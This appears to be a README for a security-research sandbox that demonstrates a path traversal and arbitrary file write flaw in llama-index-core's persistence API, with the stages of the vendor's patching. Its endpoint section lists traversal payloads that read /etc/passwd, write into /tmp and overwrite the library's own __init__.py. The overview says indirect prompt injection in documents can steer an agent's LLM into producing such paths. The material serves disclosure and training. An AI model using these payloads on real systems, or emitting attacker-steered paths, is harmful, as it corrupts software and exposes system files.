Vulnerable LlamaIndex Sandbox (v0.14.19–v0.14.21+)

September 18, 2026 · View on GitHub

A containerized sandbox environment demonstrating critical Insecure Orchestration vulnerabilities in llama-index-core. This sandbox exposes a path traversal flaw where SimpleKVStore.persist() accepts unvalidated persist_path parameters, enabling arbitrary file writes, framework configuration overwrites, and persistent Denial of Service (DoS). The sandbox simulates the vendor's response lifecycle across four distinct stages to demonstrate incomplete remediation.

FieldValue
TargetLlamaIndex (llama-index-core v0.14.19 – v0.14.21+)
CVSS v3.110.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE ChainCWE-22 (Path Traversal) → CWE-73 (Arbitrary File Write) → CWE-94 (Code Injection)
Root CauseSimpleKVStore.persist() accepts persist_path without path anchoring or validation
Research PaperJDP-2026-003
AuthorJeff Ponte (JDP Security)

⚠️ SECURITY WARNING
This sandbox environment contains live vulnerabilities and demonstration code. Run these containers only inside isolated, disposable local testing environments. Never expose these sandbox services or endpoints to public networks.


Vulnerability Overview

The Trust Gap

Traditional security: User Input → Validation → System Call
Agentic AI security: User Input → LLM → Validation → System Call

The framework treats the LLM as trusted middleware, but the LLM is a non-deterministic text generator. When an attacker-controlled document contains indirect prompt injection, the LLM can be coerced into returning path traversal sequences like ../../tmp/pwned_storage, which are passed directly to StorageContext.persist() without sanitization or canonicalization.

Vulnerable Sinks & Production Vectors

  1. dataset.py (v0.14.19–v0.14.20 wheel): Raw arbitrary-content write primitive providing direct Remote Code Execution (RCE) when writing executable Python or cron jobs. DELETED by vendor in source as collateral cleanup.
  2. SimpleKVStore.persist() (ALL versions): JSON-serialized write primitive used for persistent DoS, config corruption, or secondary chaining steps. NEVER PATCHED.
  3. StorageContext.persist() Wrapper (Production Entry Point): The primary real-world API used by developers to save index state. Passes untrusted user or LLM paths directly to the unpatched SimpleKVStore.persist() sink.

Four-Stage Vendor Response Lifecycle

StageVersiondataset.py statusSimpleKVStore.persist()What actually happened
0v0.14.19🔴 Vulnerable (RCE)🔴 Vulnerable (DoS)Baseline unpatched release; report filed
1v0.14.20🔴 Vulnerable (PyPI Drift)🔴 Vulnerable (DoS)GitHub commit 7049c97d deleted dataset.py, but PyPI wheel still shipped it
2v0.14.21❌ Deleted🔴 Vulnerable (DoS)Actual wheel cleanup — dataset.py absent, RCE closed, persist flaw untouched
3v0.14.21 + workflows 2.14.0❌ Deleted🔴 Vulnerable (DoS)Workflows dependency bumped, typo fixed in PR #21251, core persistence unchanged

Quick Start

Prerequisites

Build and Run

cd sandboxes/agentic_local_llamaindex

# Build and start Stage 0 (default)
make attack

# Verify the service is running
curl http://localhost:8000/health

Expected Health Response

{
  "status": "ok",
  "llama_version": "0.14.19",
  "stage": 0,
  "dataset_functions_available": true,
  "sandbox_dir": "/app/sandbox_data",
  "init_integrity": "clean",
  "endpoints_available": ["/health", "/verify", "/migration", "/chat", "/agent/save_session"]
}

API Endpoints

GET /health

Returns sandbox status, LlamaIndex version, current stage, and available endpoints.

GET /verify

Returns the integrity state of the core library (__init__.py). Checks for markers indicating persistent compromise.

  • Clean State:

    {
      "status": "clean",
      "file": "/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py",
      "exists": true,
      "clean": true,
      "markers_found": [],
      "size_bytes": 4224,
      "content_type": "python",
      "impact": "clean"
    }
    
  • Compromised State (DoS via JSON):

    {
      "status": "compromised",
      "markers_found": ["JSON OVERWRITE - DoS", "PERSISTENT COMPROMISE"],
      "content_type": "json",
      "impact": "dos_json"
    }
    

GET /migration

Returns forensic analysis of repository actions across releases, verifying whether functions were refactored or simply deleted.

POST /chat

Main interaction endpoint. Accepts a JSON body with a query field containing actions:

  • Read file via dataset.py (Stage 0 / 1):

    {
      "query": "peek:../../../../../../etc/passwd"
    }
    
  • Write file via SimpleKVStore.persist() (ALL stages):

    {
      "query": "drop:../../../../../../tmp/pwned.txt:EXPLOIT_SUCCESS"
    }
    
  • Corrupt core library (DoS via JSON overwrite, ALL stages):

    {
      "query": "nuke:import os; f=open('/usr/local/lib/python3.11/site-packages/llama_index/core/__init__.py', 'w'); f.write('{\\\"status\\\": \\\"corrupted\\\"}'); f.close()"
    }
    

POST /agent/save_session

Simulates an AI agent saving a user's session to a workspace directory. Demonstrates real-world exploitation of StorageContext.persist().

  • Malicious request (path traversal):
    {
      "client_name": "../../tmp/pwned_storage"
    }
    

Stage Switching

The sandbox uses the STAGE variable passed to make attack to control the security posture and vendor response stage:

# Stage 0: Fully exposed (v0.14.19)
make attack STAGE=0

# Stage 1: PyPI Drift / Partial cleanup (v0.14.20)
make attack STAGE=1

# Stage 2: Hardened wheel cleanup (v0.14.21)
make attack STAGE=2

# Stage 3: Refactor illusion / Typo fix (v0.14.21 + workflows 2.14.0)
make attack STAGE=3

Exploitation

The companion exploitation tools and interactive CLI trainer are located in:

exploitation/
└── llamaindex/
    ├── interactive_trainer.py      # Menu-driven CLI trainer (9 lessons)
    └── payloads/                   # Generated payload artifacts and templates

Note: Custom payload files in payloads/ are generated dynamically by interactive_trainer.py during exercises or loaded from static templates.

Interactive Trainer

cd exploitation/llamaindex
./interactive_trainer.py

Container Management

# Stop the active container
make stop

# View active container logs
make logs

# Clean up build artifacts and containers
make clean

# Reset sandbox data state
make reset

Files

FilePurpose
Containerfile.stage0Python 3.11-slim build with llama-index-core==0.14.19
Containerfile.stage1Python 3.11-slim build with llama-index-core==0.14.20
Containerfile.stage2Python 3.11-slim build with llama-index-core==0.14.21
Containerfile.stage3Python 3.11-slim build with llama-index-core==0.14.21 + llama-index-workflows==2.14.0
MakefileBuild, run, stop, and stage-switching automation
README.mdSandbox documentation
app/server.pyVulnerable Flask API server exposing /health, /verify, /migration, /chat, and /agent/save_session

References